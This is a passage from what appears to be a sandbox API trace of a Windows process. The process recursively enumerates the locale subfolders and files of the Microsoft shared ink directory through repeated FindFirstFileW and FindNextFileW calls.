cAlternateFileName="")) returned 0x4260700 [0055.248] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0055.248] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.248] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0055.248] FindClose (in: hFindFile=0x4260700 | out: hFindFile=0x4260700) returned 1 [0055.249] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.249] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0055.249] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0055.249] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260700 [0055.249] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0055.249] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="chstic.dgml", cAlternateFileName="")) returned 1 [0055.250] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="chstic.dgml", cAlternateFileName="")) returned 0 [0055.250] FindClose (in: hFindFile=0x4260700 | out: hFindFile=0x4260700) returned 1 [0055.250] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.250] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0055.250] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0055.250] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42602c0 [0055.250] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0055.250] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.250] FindNextFileW (in: hFindFile=0x42602c0, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0055.250] FindClose (in: hFindFile=0x42602c0 | out: hFindFile=0x42602c0) returned 1 [0055.250] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.250] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0055.250] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0055.250] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260800 [0055.251] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0055.251] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.251] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0055.251] FindClose (in: hFindFile=0x4260800 | out: hFindFile=0x4260800) returned 1 [0055.251] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.251] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0055.251] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc2004e62, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0055.251] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd51e08b5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd51e08b5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x178200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0055.251] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xde1acd8d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xde1acd8d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x612e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0055.251] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0055.251] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe3805ad4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe3805ad4, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x106a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0055.251] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0055.251] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0055.251] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260700 [0055.252] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0055.252] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.252] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0055.252] FindClose (in: hFindFile=0x4260700 | out: hFindFile=0x4260700) returned 1 [0055.252] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.252] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0055.252] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0055.252] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260740 [0055.253] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0055.253] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.253] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0055.253] FindClose (in: hFindFile=0x4260740 | out: hFindFile=0x4260740) returned 1 [0055.253] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.253] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0055.253] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0055.253] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260840 [0055.253] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0055.253] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.253] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0055.254] FindClose (in: hFindFile=0x4260840 | out: hFindFile=0x4260840) returned 1 [0055.254] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.254] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0055.254] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0055.254] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260840 [0055.254] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0055.254] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf08c | out: 